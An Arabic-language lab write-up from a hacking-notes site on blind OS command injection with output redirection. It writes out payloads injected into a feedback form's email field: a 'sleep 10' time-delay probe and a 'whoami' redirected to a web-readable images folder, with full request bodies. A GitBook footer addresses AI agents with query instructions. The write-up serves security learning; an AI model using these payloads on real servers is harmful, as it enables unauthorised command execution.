> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/command-injection/blind-os-command-injection-with-output-redirection.md).

# حقن أوامر نظام التشغيل الأعمى مع إعادة توجيه الإخراج

### حقن أوامر نظام التشغيل الأعمى مع إعادة توجيه المخرجات

#### وصف المختبر

* يحتوي التطبيق على ثغرة لحقن أوامر النظام **أعمى** في وظيفة الملاحظات.
* تُدرج بيانات إدخال المستخدم في أمر شل على جهة الخادم.
* مخرجات هذا الأمر \*\*لا تُعاد\*\* مباشرةً في استجابة HTTP.
* ومع ذلك، يوجد سجل متاح كتابيًا:/ `/var/www/images/`
* يعرض التطبيق صور الكتالوج المُنتَجة من هذا الدليل.
* لذا يمكننا **توجيه المخرجات** للأمر إلى ملف في هذا المجلد ثم قراءة هذا الملف عبر رابط تحميل الصورة.

**هدف المختبر:** شغّل أمر `whoami` واسترجع مخرجاته.

```bash
;sleep 10;
```

#### كشف الحقن (تأخير زمني)

يُستخدم نموذج الملاحظات. / إنّ **البريد الإلكتروني** الحقل عرضة للثغرة: عندما تُدخل تأخيرًا، يستغرق الرد حوالي 10 ثوانٍ.

تم حقن الحمولة في `البريد الإلكتروني` الحقل:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```

{% endcode %}

يؤكد التأخير لمدة 10 ثوانٍ نجاح الحقن.

#### العملية مع إعادة توجيه المخرجات

الهدف: إعادة توجيه مخرجات `whoami` إلى ملف في `/var/www/images/`.

تم حقن الحمولة في `البريد الإلكتروني` الحقل:

```
;whoami > /var/www/images/test.txt;
```

مثال على نص الطلب:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```

{% endcode %}

ينشئ هذا الأمر (أو يستبدل) `test.txt` الملف في الدليل المتاح عبر الويب.

```bash
/image?filename=test.txt
```

#### استرجاع النتيجة

لقراءة مخرجات `whoami` المحفوظة في الملف، نستدعي الرابط الذي يعرض الملفات في مجلد الصور:

<figure><img src="/files/d1a66cd65300c2202f199c64cb22f157ec9170e0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/command-injection/blind-os-command-injection-with-output-redirection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
